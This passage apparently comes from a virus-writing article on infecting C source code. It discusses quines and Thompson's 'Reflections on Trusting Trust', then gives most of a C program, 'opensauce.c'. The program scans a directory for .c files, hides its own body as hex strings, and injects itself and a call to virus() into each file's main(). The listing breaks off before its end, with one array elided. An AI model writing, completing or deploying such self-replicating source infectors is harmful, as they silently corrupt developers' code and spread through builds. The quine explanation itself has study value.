Pros:

* We don't need to think  too much, there is everything done,  we have
to join the pieces ;-)

* We are still programming in assembler, controlling each detail. 

Contras:

* It is not "discreet" indeed. 

* Being assembler, we lose the inherent multiplatform feature of  most
of the source code. 

* The disassembly process can sometimes be too troublesome.


4.3.- "Quine" approach

A "quine" is  a program that  generates its own  source code *without*
reading  its own  code. It  have been  done international  programming
championships of  these peculiar  proggies, all  of them  in a extreme
-freak atmosphere.

There are several  ways to do  quines, some very  complicated and very
elegant others, but the most functional form, in my humble opinion, is
using arrays of chars. In fact, I remained very surprised after  doing
my first quine, because when I saw the rest were many very  different,
but the one that made Ken Thompson was practically identical, although
a little less complicated: the main idea is to have the source code in
an array of chars to be able to do the following thing:

printf("char array[] = \"%s\";" array);

With that  approach we  break the  vicious circle  that propose quines
when    you   want    to   print    out   your    own   code    (doing
printf("printf(\"printf(\"... does not seem to be a good approach;-D).

A time later I discovered an authentic jewel of computer science  [11]
when  I saw  the problem  that proposed  Thompson in  its famous  talk
"Reflections on Trusting Trust" when he won the ACM Award. Is  amazing
to understand the implications of that text, and is surprising to  see
an authentic guru like Ken Thompson speaking like a malware coder };-)
At the moment, the issue explained does not have a very clear solution
and seems to be a headache without a simple solution [12].

Well, if we focus in this main  point, we can see how is necessary  an
array of chars that contains the code of the program. It is here where
the greater differences can arise.  Thompson created its array one  by
one separating chars of the following form:

char s[] = {
        '\t',
        '0',
        '\n',
        '}',
        ';',
        '\n',
        '\n',
        'm',
        'a',
        'i',
        'n',
        '(',
        ')',
        '\n',

        ...

        0 };
        
In my  initial approach  I saw  that this,  in adition  of being quite
strange, was too obvious, that  is, is shown clearly that  the content
of that array  is source code  written in C.  Because of that,  I used
another annotation to keep each char in a non so obvious way:

char s[] = {
0x6D, 0x61, 0x69, 0x6E, 0x28, 0x29, 0x20, 0x7B,
0x0D, 0x0A, 0x69, 0x6E, 0x74, 0x20, 0x69, 0x3B,
0x0D, 0x0A, 0x09, 0x70, 0x72, 0x69, 0x6E, 0x74,
0x66, 0x28, 0x22, 0x63, 0x68, 0x61, 0x72, 0x20,

...

0 };

The immediate goal was fulfilled: that does not seem C source code  to
eyes of somebody little  familiarized with ASCII table.  Nevertheless,
this way to define the array increased too much the size of the  code,
it was necessary to think a way to reduce it. First which I thought to
do that  was to  duplicate the  space in  the executable  code, but to
reduce to half the space in the source code, creating an array as this
one:

char s[] = "6D61696E2829207B0D0A69...";

Doing it this way I am using much less space in C source code. The bad
news are that now  I use 2 bytes  to represent each to  char within my
array (damn!!). We cannot use printf() to print that array in the host
code, we must do something similar to this:

int i;
char nibblechar, nibble[2];

for(i=0;i<strlen(s);i+=2) {
	nibble[0] = s[i];
	nibble[1] = s[i+1];
 	sscanf(nibble,"%02X",&nibblechar);
        printf("%c", nibblechar);
}

Quite slapdash, but it works O:-)

Another  thing which  we must  consider is  that our  objective is  no
longer to print our own code, but  to insert it within a program in  C
and  to create  programs that   can be  compiled correctly.  For that
reason, in the following example  I have divided the initial  array in
other  three  arrays: one  for  the includes  and  declaration of  the
virus() function, another one for the first part of this function  and
the other for the end of the virus(). Let's see it:

<--------------------------------------------------------------------------->
<-opensauce.c--------------------------------------------------------------->
<--------------------------------------------------------------------------->

/*
 * OpenSauce
 *
 * A trial to infect source code
 *                   zert <zert@int80h.net>
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>
#include <time.h>
#include <dirent.h>
#include <elf.h>
#include <sys/types.h>
#include <sys/wait.h>

void virus();

int main(int argc, char *argv[]) {
  virus();
}

void virus() {
  int i, hd, fd, readbyte, writebyte, posmain, posbuffer;
  DIR *dd;
  struct dirent *dirp;
  char nibble[2], nibblechar, *readbuffer, *writebuffer,
       *readmain, *writemain, *bufname, *buffer;
  char charinclude[] = "23696e636c756465203c737464696f2e683e0a23696e636c756465203c7374646c69622e683e0a23696e636c756465203c7379732f737461742e683e0a23696e636c756465203c756e697374642e683e0a23696e636c756465203c66636e746c2e683e0a23696e636c756465203c74696d652e683e0a23696e636c756465203c646972656e742e683e0a23696e636c756465203c656c662e683e0a23696e636c756465203c7379732f74797065732e683e0a23696e636c756465203c7379732f776169742e683e0a0a766f696420766972757328293b0a0a";
  char charvirus[] = "0a766f69642076697275732829207b0a2020696e7420692c2068642c2066642c2072656164627974652c207772697465627974652c20706f736d61696e2c20706f736275666665723b0a2020444952202a64643b0a202073747275637420646972656e74202a646972703b0a202063686172206e6962626c655b325d2c206e6962626c65636861722c202a726561646275666665722c202a77726974656275666665722c200a202020202020202a726561646d61696e2c202a77726974656d61696e2c202a6275666e616d652c202a6275666665723b0a";
  char charvirusend[] = "0a20206464203d206f70656e64697228222e22293b0a20207768696c65282864697270203d207265616464697228646429293e3029200a202020206966282868643d6f70656e28646972702d3e645f6e616d652c204f5f524457522c203029293e3d3029207b0a ... ";

  /* scan for hosts in current dir */
  dd = opendir(".");
  while((dirp = readdir(dd))>0)
      if((fd=open(dirp->d_name, O_RDWR, 0))>=0) {
        /* is a C source file? */
        if(!(strcmp(dirp->d_name+strlen(dirp->d_name)-2,".c"))||
           !(strcmp(dirp->d_name+strlen(dirp->d_name)-2,".C"))) {
          /* searching infection mark... */
          lseek(fd, -30, SEEK_END);
          bufname = (char *)malloc(30);
          readbyte = read(fd, bufname,30);
          if((strstr(bufname, "/* sauce! */")<=0)) {
            /* infection mark not found */
            /* searching main() function... */
            lseek(fd, 0, SEEK_SET);
            posmain = posbuffer = 0;
            buffer = (char *)malloc(1024);
            while((readbyte=read(fd,buffer,1024))>0) {
              if( ((posbuffer=(int)strstr(buffer,"\nmain("))>0) ||
                ((posbuffer=(int)strstr(buffer,"\nint main("))>0) ||
                ((posbuffer=(int)strstr(buffer,"\nvoid main("))>0) ||
                ((posbuffer=(int)strstr(buffer,"\nmain ("))>0) ||
                ((posbuffer=(int)strstr(buffer,"\nint main ("))>0) ||
                ((posbuffer=(int)strstr(buffer,"\nvoid main ("))>0) ) {
                break;
              }
              posmain += readbyte;
            }
            if(posbuffer>0) {
              posmain += ((int)posbuffer-(int)buffer);
              lseek(fd, posmain, SEEK_SET);
              read(fd, buffer, 80);
              if((posbuffer = (int)strstr(buffer,"{\n"))>0)
                posmain += 2 + ((int)posbuffer-(int)buffer);
              else
                posmain = -1;
            } else posmain = -1;
            if(posmain>0) {
              /* let's infect! */
              lseek(fd, 0, SEEK_SET);
              writebyte = strlen(charinclude) / 2;
              readbuffer = (char *)malloc(writebyte);
              writebuffer = (char *)malloc(writebyte);
              writebuffer = (char *)malloc(writebyte);
              for(i=0;i<strlen(charinclude);i+=2) {
                nibble[0] = charinclude[i];
                nibble[1] = charinclude[i+1];
                sscanf(nibble, "%02X", &nibblechar);
                strncat(writebuffer, &nibblechar, 1);
              }
              while((readbyte=read(fd,readbuffer,writebyte))>0) {
                lseek(fd, -readbyte, SEEK_CUR);
                write(fd, writebuffer, writebyte);
                writebyte = read(fd, writebuffer, writebyte);
                lseek(fd, -writebyte, SEEK_CUR);
                write(fd, readbuffer, readbyte);
              }
              lseek(fd,-readbyte,SEEK_CUR);
              write(fd,writebuffer,writebyte);
              /* call virus from main() */
              writebyte = strlen(charinclude) / 2;
              lseek(fd, posmain+writebyte, SEEK_SET);
              writebyte = strlen("\n  virus();\n");
              readmain = (char *)malloc(writebyte);
              writemain = (char *)malloc(writebyte);
              strcpy(writemain,"\n  virus();\n");
              while((readbyte=read(fd,readmain,writebyte))>0) {
                lseek(fd,-readbyte,SEEK_CUR);
                write(fd,writemain,writebyte);
                writebyte=read(fd,writemain,writebyte);
                lseek(fd,-writebyte,SEEK_CUR);
                write(fd,readmain,readbyte);
              }
              lseek(fd,-readbyte,SEEK_CUR);
              write(fd,writemain,writebyte);
              /* copy virus function at EOF */
              lseek(fd, 0, SEEK_END);
              for(i=0;i<strlen(charvirus);i+=2) {
                nibble[0] = charvirus[i];
                nibble[1] = charvirus[i+1];
                sscanf(nibble,"%02X",&nibblechar);
                write(fd, &nibblechar, 1);
              }
              write(fd, "\n  char charinclude[] = \"", strlen("\n  char charinclude[] = \""));
              write(fd, charinclude, strlen(charinclude));
              write(fd, "\";\n  char charvirus[] = \"", strlen("\";\n  char charvirus[] = \""));
              write(fd, charvirus, strlen(charvirus));
              write(fd, "\";\n  char charvirusend[] = \"", strlen("\";\n  char charvirusend[] = \""));
              write(fd, charvirusend, strlen(charvirusend));
              write(fd, "\";\n", strlen("\";\n"));
              lseek(fd, 0, SEEK_END);
              for(i=0;i<strlen(charvirusend);i+=2) {
                nibble[0] = charvirusend[i];
                nibble[1] = charvirusend[i+1];
                sscanf(nibble,"%02X",&nibblechar);
                write(fd, &nibblechar, 1);
              }
              /* that's all folks! */
              /* just 1 infection each time */
              exit(0);
              close(fd);
            }
          }
      }
      close(fd);
    }
  closedir(dd);